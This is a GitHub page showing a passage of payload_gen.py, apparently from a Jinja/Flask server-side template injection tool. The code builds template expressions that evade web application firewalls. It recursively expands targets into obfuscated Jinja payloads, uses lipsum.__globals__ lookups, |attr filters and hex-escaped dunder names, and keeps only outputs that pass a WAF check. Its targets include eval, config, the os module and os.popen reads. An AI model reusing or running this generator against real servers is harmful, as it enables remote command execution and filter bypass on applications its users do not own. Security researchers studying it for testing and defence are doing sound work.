-
Notifications
You must be signed in to change notification settings - Fork 53
/
payload_gen.py
4009 lines (3339 loc) · 113 KB
/
payload_gen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
生成和要求相符合的表达式,如('a'+'b')
生成过程为接受一个生成目标(如`(STRING, 'ab')`),遍历对应的生成规则expression_gen,利用waf函数
递归检查生成规则是否符合,并最终生成一个字符串形式的表达式
expression_gen:所有表达式生成规则
接受一个生成目标,并返回一个生成目标的列表
比如说接收(STRING, 'ab'),返回[(LITERAL, '"a"'), (LITERAL, '"b"')]
也就是将一个生成目标“展开成”一系列生成目标
PayloadGen:将用户提供的生成目标一层层展开,并使用WAF检测展开后是否可以通过WAF,然后
根据展开结果返回相应的表达式。
"""
# make pylint shut up, these are rules for generating expression, not normal code containing logic.
# pylint: disable=wildcard-import,unused-wildcard-import,missing-function-docstring,logging-format-interpolation,unused-argument,consider-using-f-string,too-many-lines
# flake8: noqa
import re
import logging
import sys
import math
import random
import string
from collections import defaultdict
from typing import (
Callable,
DefaultDict,
List,
Dict,
TypeVar,
Union,
Any,
Tuple,
)
from pprint import pformat
from .colorize import colored
from .const import *
from .options import Options
from .wordlist import CHAR_PATTERNS
ContextVariable = Dict[str, Any]
if sys.version_info >= (3, 8):
from typing import Literal
LiteralTarget = Tuple[Literal["literal"], str]
ExpressionTarget = Tuple[Literal["expression"], int, List["Target"]]
EncloseUnderTarget = Tuple[Literal["enclose_under"], int, "Target"]
EncloseTarget = Tuple[Literal["enclose"], List["Target"]]
UnsatisfiedTarget = Tuple[Literal["unsatisfied"],]
OneofTarget = Tuple[Literal["oneof"], ...,]
WithContextVarTarget = Tuple[Literal["with_context_var"], str]
JinjaContextVarTarget = Tuple[Literal["jinja_context_var"], str]
FlaskContextVarTarget = Tuple[Literal["flask_context_var"], str]
RequirePython3Target = Tuple[Literal["require_python3"], str]
VariableOfTarget = Tuple[Literal["variable_of"], str]
ZeroTarget = Tuple[Literal["zero"],]
PositiveIntegerTarget = Tuple[Literal["positive_integer"], int]
IntegerTarget = Tuple[Literal["integer"], int]
WhiteSpaceTarget = Tuple[Literal["whitespace"]]
StringConcatTarget = Tuple[Literal["string_string_concat"],]
StringPercentTarget = Tuple[Literal["string_percent"],]
StringPercentLowerCTarget = Tuple[Literal["string_percent_lower_c"],]
StringUnderlineTarget = Tuple[Literal["string_underline"],]
StringLowerCTarget = Tuple[Literal["string_lower_c"],]
StringTwoUnderlineTarget = Tuple[Literal["string_twounderline"],]
StringManyPercentLowerCTarget = Tuple[Literal["string_many_percent_lower_c"], int]
StringManyFormatCTarget = Tuple[Literal["string_many_format_c"], int]
CharTarget = Tuple[Literal["char"], str]
StringTarget = Tuple[Literal["string"], str]
FormularSumTarget = Tuple[Literal["formular_sum"], List["Target"]]
AttributeTarget = Tuple[Literal["attribute"], "Target", str]
ItemTarget = Tuple[Literal["item"], "Target", str]
ChassAttributeTarget = Tuple[Literal["class_attribute"], "Target", str]
ChainedAttriuteItemTarget = Tuple[Literal["chained_attribute_item"], ...]
ImportFuncTarget = Tuple[Literal["import_func"],]
EvalFuncTarget = Tuple[Literal["eval_func"],]
EvalTarget = Tuple[Literal["eval"], str]
ConfigTarget = Tuple[Literal["config"],]
ModuleOSTarget = Tuple[Literal["module_os"],]
OSPopenObj = Tuple[Literal["os_popen_obj"],]
OSPopenRead = Tuple[Literal["os_popen_read"],]
# Target = LiteralTarget
Target = Union[
LiteralTarget,
ExpressionTarget,
EncloseUnderTarget,
EncloseTarget,
UnsatisfiedTarget,
OneofTarget,
WithContextVarTarget,
JinjaContextVarTarget,
FlaskContextVarTarget,
RequirePython3Target,
VariableOfTarget,
ZeroTarget,
PositiveIntegerTarget,
IntegerTarget,
WhiteSpaceTarget,
StringConcatTarget,
StringPercentTarget,
StringPercentLowerCTarget,
StringUnderlineTarget,
StringLowerCTarget,
StringTwoUnderlineTarget,
StringManyPercentLowerCTarget,
StringManyFormatCTarget,
CharTarget,
StringTarget,
FormularSumTarget,
AttributeTarget,
ItemTarget,
ChassAttributeTarget,
ChainedAttriuteItemTarget,
ImportFuncTarget,
EvalFuncTarget,
EvalTarget,
ConfigTarget,
ModuleOSTarget,
OSPopenObj,
OSPopenRead,
]
else:
LiteralTarget = Tuple
ExpressionTarget = Tuple
EncloseUnderTarget = Tuple
EncloseTarget = Tuple
UnsatisfiedTarget = Tuple
OneofTarget = Tuple
WithContextVarTarget = Tuple
FlaskContextVarTarget = Tuple
JinjaContextVarTarget = Tuple
RequirePython3Target = Tuple
Target = Tuple
ExpressionGeneratorReturn = TypeVar("ExpressionGeneratorReturn", bound=List[Target])
ExpressionGenerator = Callable[..., ExpressionGeneratorReturn]
TargetAndSubTargets = List[Tuple[Target, List[Target]]]
PayloadGeneratorResult = Tuple[str, ContextVariable, TargetAndSubTargets]
expression_gens: DefaultDict[str, List[ExpressionGenerator]] = defaultdict(list)
logger = logging.getLogger("payload_gen")
gen_weight_default = {
"gen_string_percent_lower_c_concat": 1,
"gen_string_lower_c_joinerbatch": 1,
"gen_string_percent_urlencode2": 1,
"gen_string_twostringconcat": 1,
"gen_string_concat1": 1,
"gen_string_concat2": 1,
"gen_string_formatpercent": 1,
"gen_attribute_attrfilter": 1,
"gen_item_dunderfunc": 1,
}
precedence_lst = [
["enclose", "literal", "flask_context_var", "jinja_context_var"],
[
"item",
"attribute",
"slide",
"function_call",
],
["filter", "filter_with_function_call"],
[
"power",
],
["positive", "negative", "bitwise_not"],
[
"multiply",
"matrix_multiply",
"divide", # '/'
"true_divide", # '//'
"mod",
],
[
"plus",
"subtract",
],
[
"tilde"
# 1.0<2~"3" -> '<' not supported between instances of 'float' and 'str'
# 1.0+2~"3" -> unsupported operand type(s) for +: 'float' and 'str'
],
[
"comparison", # <= >= etc.
],
[
"boolean_not",
],
[
"boolean_and",
],
[
"boolean_or",
],
[
"ifelse",
],
][::-1]
precedence = {name: i for i, lst in enumerate(precedence_lst) for name in lst}
def expression_gen(f: ExpressionGenerator):
gen_type = re.match("gen_([a-z_]+)_([a-z0-9]+)", f.__name__)
if not gen_type:
raise RuntimeError(f"Error found when register payload generator {f.__name__}")
expression_gens[gen_type.group(1)].append(f)
def unparse(tree):
content = ""
for target, subtree in tree:
if target[0] == WITH_CONTEXT_VAR:
continue
if target[0] in [LITERAL, FLASK_CONTEXT_VAR, JINJA_CONTEXT_VAR]:
content += target[1]
elif target[0] == ONEOF:
content += unparse(subtree)
elif subtree:
content += unparse(subtree)
return content
def iter_subtree(tree):
for target, subtree in tree:
# 需要跳过literal等, 因为其可能不是一个表达式而是一个或者多个token
if subtree and (
target[0]
not in [
"literal",
"oneof",
"string_string_concat",
]
):
yield from iter_subtree(subtree)
yield unparse(tree), tree
def find_bad_exprs(tree, is_expr_bad_func):
nodes = []
for payload_unparsed, targetlist in iter_subtree(tree):
if is_expr_bad_func(payload_unparsed):
nodes.append((payload_unparsed, targetlist))
return nodes
def join_target(sep, targets):
if len(targets) == 0:
return []
assert len(targets) >= 1
ret = [
targets[0],
]
for target in targets[1:]:
ret.append(sep)
ret.append(target)
return ret
def tree_precedence(tree):
answer = float("inf")
for target, sub_target_tree in tree:
if target[0] in [LITERAL, UNSATISFIED]:
pass
elif target[0] == EXPRESSION:
answer = min(answer, target[1])
elif target[0] in [PLUS, MULTIPLY, MOD, ATTRIBUTE, ITEM, MODULE_OS, FUNCTION_CALL]:
# might be transformed into filters
sub_target_answer = tree_precedence(sub_target_tree)
if sub_target_answer:
answer = min(answer, sub_target_answer)
elif target[0] in precedence:
answer = min(answer, precedence[target[0]])
elif sub_target_tree:
sub_target_answer = tree_precedence(sub_target_tree)
if sub_target_answer:
answer = min(answer, sub_target_answer)
return answer if answer != float("inf") else None
def targets_from_pattern(pattern: str, mapping: Dict[str, Target]) -> List[Target]:
"""根据pattern将字符串转换成对应的target列表
示例:"'abcde'[NUM]", {"NUM": (INTEGER, 1)} ---> [
(LITERAL, "'abcde'["),
(INTEGER, 1),
(LITERAL, "]")
]
Args:
pattern (str): 给定的pattern
mapping (Dict[str, Target]): 关键字和target的对应关系
Returns:
List[Target]: 生成结果
"""
result = []
toparse = ""
while pattern:
found = False
for keyword, target in mapping.items():
if pattern.startswith(keyword):
result.append((LITERAL, toparse))
result.append(target)
toparse = ""
pattern = removeprefix_string(pattern, keyword)
found = True
break
if not found:
toparse += pattern[0]
pattern = pattern[1:]
if toparse:
result.append((LITERAL, toparse))
return result
def str_escape(value: str, quote="'"):
"""
转义字符串中的引号和反斜杠,但不会在两旁加上引号。
用法:"'{}'".format(str_escape("asdf", "'"))
"""
return value.replace("\\", "\\\\").replace(quote, "\\" + quote)
def transform_int_chars_charcodes(int_chars, charcodes, keepfirst=False):
charcode_dict = {str(int(chr(x), 0)): chr(x) for x in charcodes}
return "".join(charcode_dict.get(c, c) for c in int_chars)
def transform_int_chars_unicode(int_chars):
return [
transform_int_chars_charcodes(int_chars, charcodes)
for charcodes in UNICODE_INT_CHARCODES
]
def removeprefix_string(text: str, prefix: str) -> str:
"""兼容python 3.9及以下的removeprefix函数
Args:
text (str): text
prefix (str): 需要去除的prefix
Returns:
str: 处理结果
"""
if text.startswith(prefix):
return text[len(prefix) :]
return text
def unwrap_whitespace(target_list: List[Target]) -> List[Target]:
"""替换target_list中的whitespace target为实际的literal
会被payloadgen调用而不是被expression_gen调用
Args:
target_list (List[Target]): 输入的target list
Returns:
List[Target]: 输出,如果没有whitespace则返回原target list
"""
if all(target != (WHITESPACE, ) for target in target_list):
return target_list
alternatives = []
for whitespace in ["", " ", "\t", "\n"]:
alternative = []
for target in target_list:
if target == (WHITESPACE, ):
alternative.append((LITERAL, whitespace))
else:
alternative.append(target)
alternatives.append(alternative)
return [(ONEOF, *alternatives)]
class CacheByRepr:
"""缓存传入的对象,其中键可以是任意对象
会将键的repr表达式作为键进行存储
"""
def __init__(self):
self.cache = {}
def __setitem__(self, k, v):
repr_k = repr(k)
self.cache[repr_k] = self.cache.get(repr_k, [])
self.cache[repr(k)].append((k, v))
def __getitem__(self, k):
repr_k = repr(k)
for k_store, v in self.cache.get(repr_k, []):
if k_store == k:
return v
raise KeyError(f"Not found: {repr_k}")
def __delitem__(self, k):
del self.cache[repr(k)]
def __contains__(self, k):
repr_k = repr(k)
for k_store, _ in self.cache.get(repr_k, []):
if k_store == k:
return True
return False
def __iter__(self):
return (k for k_repr in self.cache for k, v in self.cache[k_repr])
def clear(self):
self.cache = {}
class PayloadGenerator:
"""生成一个表达式,如('a'+'b')
其会遍历对应的expression_gen,依次“展开”生成目标为一个生成目标的列表,递归地
将每一个元素转为payload,拼接在一起并使用WAF函数检测是否合法。
"""
def __init__(
self,
waf_func: WafFunc,
context: Union[Dict, None] = None,
callback: Union[Callable[[str, Dict], None], None] = None,
options: Union[Options, None] = None,
waf_expr_func: Union[WafFunc, None] = None,
):
self.waf_func = (
waf_func
if waf_expr_func is None
else (lambda x: waf_func(x) and waf_expr_func(x))
)
self.context = context if context else {}
self.cache_by_repr = CacheByRepr()
self.used_count = defaultdict(int)
self.options = options if options else Options()
if self.options.detect_mode == DetectMode.FAST:
for k, v in gen_weight_default.items():
self.used_count[k] += v
self.callback = callback if callback else (lambda x, y: None)
# it is correct pylint, it returns a internal decorator.
def create_generate_func_register(): # pylint: disable=no-method-argument
generate_funcs = []
def register(checker_func):
def _wraps(runner_func):
generate_funcs.append((checker_func, runner_func))
return runner_func
return _wraps
return generate_funcs, register
generate_funcs, register_generate_func = create_generate_func_register()
def generate_by_list(
self, targets: List[Target]
) -> Union[PayloadGeneratorResult, None]:
"""根据一个生成目标的列表生成payload并使用WAF测试
Args:
targets (List[Target]): 生成目标的列表
Returns:
Union[PayloadGeneratorResult, None]: 生成结果,其包含payload和payload用到的上下文中的变量
"""
targets = unwrap_whitespace(targets)
str_result, used_context, tree = "", {}, []
for target in targets:
for checker, runner in self.generate_funcs:
if not checker(self, target):
continue
result = runner(self, target)
if result is None:
return None
s, c, subs = result
str_result += s
used_context.update(c)
tree.append((target, subs))
break
else:
raise RuntimeError("it shouldn't runs this line")
if not self.waf_func(str_result):
return None
return str_result, used_context, tree
@register_generate_func(lambda self, target: target[0] == LITERAL)
def literal_generate(
self, target: LiteralTarget
) -> Union[PayloadGeneratorResult, None]:
"""为literal类型的生成目标生成payload
Args:
target (LiteralTarget): 生成目标
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
return (target[1], {}, [])
@register_generate_func(lambda self, target: target in self.cache_by_repr)
def cache_generate(self, target: Target) -> Union[PayloadGeneratorResult, None]:
"""为已经缓存的生成目标生成payload
Args:
target (Target): 生成目标
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
return self.cache_by_repr[target]
@register_generate_func(lambda self, target: target[0] == EXPRESSION)
def expression_generate(
self, target: ExpressionTarget
) -> Union[PayloadGeneratorResult, None]:
"""为expression的生成目标生成payload
expression中有其的优先级和target列表,直接返回target列表
Args:
target (ExpressionTarget): 生成目标
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
assert isinstance(target[2], list) and all(
isinstance(sub_target, tuple) for sub_target in target[2]
), repr(target)[:100]
return self.generate_by_list(target[2])
@register_generate_func(lambda self, target: target[0] == ENCLOSE_UNDER)
def enclose_under_generate(
self, target: EncloseUnderTarget
) -> Union[PayloadGeneratorResult, None]:
"""为enclose_under的生成目标生成payload
enclose_under中有其的优先级和target
如果生成结果优先级更高则直接返回target的生成结果
否则加上括号
Args:
target (EncloseUnderTarget): 生成目标
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
assert isinstance(target[2], tuple), repr(target)
result = self.generate_by_list([target[2]])
if not result:
return
str_result, used_context, tree = result
result_precedence = tree_precedence(tree)
assert result_precedence is not None, str_result + repr(tree)
should_enclose = (
result_precedence <= target[1]
if result_precedence == precedence["mod"]
else result_precedence < target[1]
)
if should_enclose:
logger.debug(
(
"enclose_under_generate: result_precedence < "
+ "target[1], result_precedence=%d, target[1]=%s"
),
result_precedence,
target[1],
)
ret = self.generate_by_list([(ENCLOSE, target[2])])
return ret
else:
logger.debug(
(
"enclose_under_generate: result_precedence >= "
+ "target[1], result_precedence=%d, target[1]=%s"
+ "target[2]=%s"
),
result_precedence,
target[1],
pformat(target[2]),
)
return str_result, used_context, tree
@register_generate_func(lambda self, target: target[0] == UNSATISFIED)
def unsatisfied_generate(self, target: UnsatisfiedTarget) -> None:
"""直接拒绝类型为unsatisfied的生成目标"""
return None
@register_generate_func(lambda self, target: target[0] == ONEOF)
def oneof_generate(
self, target: OneofTarget
) -> Union[PayloadGeneratorResult, None]:
"""生成类型为oneof的生成目标,遍历其中的每一个子目标并选择其中一个生成
Args:
target (OneofTarget): oneof生成目标,其中有多个生成目标列表
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
_, *alternative_targets = target
for req in alternative_targets:
ret = self.generate_by_list(req)
if ret is not None:
return ret
return None
@register_generate_func(lambda self, target: target[0] == WITH_CONTEXT_VAR)
def with_context_var_generate(
self, target: WithContextVarTarget
) -> Union[PayloadGeneratorResult, None]:
"""生成类型为with_context_var的生成目标,将其中包含的变量名加入到已经使用的变量中
Args:
target (WithContextVarTarget): 生成目标
Returns:
_type_: 生成结果
"""
return ("", {target[1]: self.context[target[1]]}, [])
@register_generate_func(lambda self, target: target[0] == JINJA_CONTEXT_VAR)
def jinja_context_var_generate(
self, target: JinjaContextVarTarget
) -> Union[PayloadGeneratorResult, None]:
"""生成类型为jinja_context_var_generate的生成目标,将其中包含的变量名加入到已经使用的变量中
Args:
target (JinjaContextVarTarget): 生成目标
Returns:
_type_: 生成结果
"""
return (target[1], {}, [])
@register_generate_func(lambda self, target: target[0] == FLASK_CONTEXT_VAR)
def flask_context_var_generate(
self, target: FlaskContextVarTarget
) -> Union[PayloadGeneratorResult, None]:
"""生成类型为flask_context_var_generate的生成目标,将其中包含的变量名加入到已经使用的变量中
Args:
target (FlaskContextVarTarget): 生成目标
Returns:
_type_: 生成结果
"""
if self.options.environment != TemplateEnvironment.FLASK:
return None
return (target[1], {}, [])
@register_generate_func(lambda self, target: target[0] == REQUIRE_PYTHON3)
def require_python3_generate(
self, target: RequirePython3Target
) -> Union[PayloadGeneratorResult, None]:
"""生成类型为flask_context_var_generate的生成目标,将其中包含的变量名加入到已经使用的变量中
Args:
target (RequirePython3Target): 生成目标
Returns:
_type_: 生成结果
"""
if self.options.python_version != PythonEnvironment.PYTHON3:
return None
return ("", {}, [])
@register_generate_func(lambda self, target: target[0] == VARIABLE_OF)
def variable_of_generate(
self, target: VariableOfTarget
) -> Union[PayloadGeneratorResult, None]:
"""在context中找到对应的变量
Args:
target (VariableOfTarget): 生成目标
Returns:
_type_: 生成结果
"""
variables = [name for name, value in self.context.items() if value == target[1]]
if not variables:
return self.generate_by_list([(UNSATISFIED,)])
targets_list = [[(LITERAL, v), (WITH_CONTEXT_VAR, v)] for v in variables]
return self.generate_by_list([(ONEOF, *targets_list)]) # type: ignore
@register_generate_func(lambda self, target: True)
def common_generate(self, gen_req: Target) -> Union[PayloadGeneratorResult, None]:
"""为剩下所有类型的生成目标生成对应的payload, 遍历对应的expression_gen,拿到
对应的生成目标列表并尝试使用这个列表生成payload
Args:
gen_req (Target): 生成目标
Returns:
Union[PayloadGeneratorResult, None]: 生成结果
"""
gen_type, *args = gen_req
if gen_type not in expression_gens or len(expression_gens[gen_type]) == 0:
logger.error("Unknown type: %s", gen_type)
return None
gens = expression_gens[gen_type].copy()
if self.options.detect_mode == DetectMode.FAST:
gens.sort(key=lambda gen: self.used_count[gen.__name__], reverse=True)
for gen in gens:
logger.debug("Trying gen rule: %s", gen.__name__)
gen_ret: List[Target] = gen(self.context, *args)
ret = self.generate_by_list(gen_ret)
if ret is None:
continue
logger.debug("Using gen rule: %s", gen.__name__)
result = ret[0]
self.callback(
CALLBACK_GENERATE_PAYLOAD,
{
"gen_type": gen_type,
"args": args,
"gen_ret": gen_ret,
"payload": result,
},
)
# 为了日志的简洁,仅打印一部分日志
if gen_type in (INTEGER, STRING) and result != str(args[0]):
logger.info(
"{great}, {gen_type}({args_repl}) can be {result}".format(
great=colored("green", "Great"),
gen_type=colored("yellow", gen_type, bold=True),
args_repl=colored(
"yellow", ", ".join(repr(arg) for arg in args)
),
result=colored("blue", result),
)
)
elif gen_type in (
EVAL_FUNC,
EVAL,
CONFIG,
MODULE_OS,
OS_POPEN_OBJ,
OS_POPEN_READ,
):
logger.info(
"{great}, we generate {gen_type}({args_repl})".format(
great=colored("green", "Great"),
gen_type=colored("yellow", gen_type, bold=True),
args_repl=colored(
"yellow", ", ".join(repr(arg) for arg in args)
),
)
)
self.cache_by_repr[gen_req] = ret
self.used_count[gen.__name__] += 1
return ret
if gen_type not in (
CHAINED_ATTRIBUTE_ITEM,
ATTRIBUTE,
ITEM,
PLUS,
MULTIPLY,
STRING_CONCAT,
MOD,
STRING_CONCATMANY,
VARIABLE_OF,
ENCLOSE,
ENCLOSE_UNDER,
):
logger.info(
"{failed} generating {gen_type}({args_repl}), it might not be an issue.".format(
failed=colored("red", "failed"),
gen_type=gen_type,
args_repl=", ".join(repr(arg) for arg in args),
)
)
self.cache_by_repr[gen_req] = None
return None
def generate(self, gen_type, *args) -> Union[str, None]:
"""提供给用户的生成接口,接收一个生成目标的类型和参数
Args:
gen_type (str): 生成目标的类型
*args: 生成目标的参数
Returns:
Union[str, None]: 生成结果
"""
result = self.generate_by_list([(gen_type, *args)])
if result is None:
return None
s, _, _ = result
return s
def generate_detailed(self, gen_type, *args) -> Union[PayloadGeneratorResult, None]:
"""提供给用户的生成接口,接收一个生成目标的类型和参数
Args:
gen_type (str): 生成目标的类型
*args: 生成目标的参数
Returns:
Union[PayloadGeneratorResult, None]: 生成结果(包含使用的上下文变量)
"""
result = self.generate_by_list([(gen_type, *args)])
if result is None:
return None
return result
def delete_from_cache(self, gen_type, *args):
if (gen_type, *args) in self.cache_by_repr:
del self.cache_by_repr[(gen_type, *args)]
# ---
@expression_gen
def gen_enclose_normal(context: dict, target):
return [
(EXPRESSION, precedence["enclose"], [
(LITERAL, "("),
(WHITESPACE, ),
target,
(WHITESPACE, ),
(LITERAL, ")"),
])
]
# ---
@expression_gen
def gen_wrap_normal(context: dict, targets: List[Target]):
return [
(LITERAL, "("),
(WHITESPACE, ),
*targets,
(WHITESPACE, ),
(LITERAL, ")"),
]
# ---
@expression_gen
def gen_string_concat_plus(context: dict, a, b):
return [(PLUS, a, b)]
@expression_gen
def gen_string_concat_tilde(context: dict, a, b):
target_list = [
(ENCLOSE_UNDER, precedence["tilde"], a),
(LITERAL, "~"),
(ENCLOSE_UNDER, precedence["tilde"], b),
]
return [(EXPRESSION, precedence["tilde"], target_list)]
@expression_gen
def gen_string_concat_format(context: dict, a, b):
target_list = [
(ONEOF, [(LITERAL, "'%s%s'")], [(LITERAL, '"%s%s"')], [(VARIABLE_OF, "%s%s")]),
(LITERAL, "%"),
(WRAP, [
a,
(LITERAL, ","),
b,
])
]
return [(EXPRESSION, precedence["mod"], target_list)]
# ---
@expression_gen
def gen_string_concatmany_onebyone(context: dict, parts):
answer = parts[0]
for part in parts[1:]:
answer = (STRING_CONCAT, answer, part)
return [answer]
@expression_gen
def gen_string_concatmany_join(context: dict, parts):
targets = targets_from_pattern("(PARTS)|join", {
"PARTS": (ONEOF, join_target(sep=(LITERAL, ","), targets=parts)), # type: ignore
})
return [(EXPRESSION, precedence["filter"], targets)]
# lipsum.__globals__.concat(("a", "b"))
@expression_gen
def gen_string_concatmany_lipsumglobals1(context: dict, parts):
target_list = (
[
(LITERAL, "lipsum.__globals__.concat(("),
]
+ join_target(sep=(LITERAL, ","), targets=parts)
+ [
(LITERAL, "))"),
]
)
return [(EXPRESSION, precedence["function_call"], target_list)]
@expression_gen
def gen_string_concatmany_lipsumglobals2(context: dict, parts):
return [
(LITERAL, "lipsum["),
(VARIABLE_OF, "__globals__"),
(LITERAL, "]["),
(VARIABLE_OF, "concat"),
(LITERAL, "](("),
*join_target(sep=(LITERAL, ","), targets=parts),
(LITERAL, "))"),
]
@expression_gen
def gen_string_concatmany_lipsumglobals3(context: dict, parts):
return [
(LITERAL, "lipsum|attr("),
(VARIABLE_OF, "__globals__"),
(LITERAL, ")|attr("),
(VARIABLE_OF, "__getitem__"),
(LITERAL, ")("),
(VARIABLE_OF, "concat"),
(LITERAL, ")(("),
*join_target(sep=(LITERAL, ","), targets=parts),
(LITERAL, "))"),
]
# ---
@expression_gen
def gen_plus_normal(context: dict, a, b):
a = (ENCLOSE_UNDER, precedence["plus"], a)
b = (ENCLOSE_UNDER, precedence["plus"], b)
return [(EXPRESSION, precedence["plus"], [a, (LITERAL, "+"), b])]
@expression_gen
def gen_plus_addfunc(context: dict, a, b):
return [
(
EXPRESSION,
precedence["function_call"],
[
(ENCLOSE_UNDER, precedence["attribute"], a),
(LITERAL, ".__add__"),
(WRAP, [
b,
])
],
)
]
@expression_gen
def gen_plus_addfuncbyfilter(context: dict, a, b):
get_add_func = (
ONEOF,
[(LITERAL, "|attr('__add__')")],
[(LITERAL, '|attr("__add__")')],
[(LITERAL, '|attr("\\x5f\\x5fadd\\x5f\\x5f")')],
[(LITERAL, "|attr("), (VARIABLE_OF, "__add__"), (LITERAL, ")")],
)
logger.debug("gen_plus_addfuncbyfilter: %s", repr(a))
return [
(
EXPRESSION,
precedence["filter"],
[
(ENCLOSE_UNDER, precedence["filter"], a),
get_add_func,
(WRAP, [
b,
])
],
)
]
# ---
@expression_gen
def gen_mod_normal(context: dict, a, b):
a = (ENCLOSE_UNDER, precedence["mod"], a)
b = (ENCLOSE_UNDER, precedence["mod"], b)
return [(EXPRESSION, precedence["mod"], [a, (LITERAL, "%"), b])]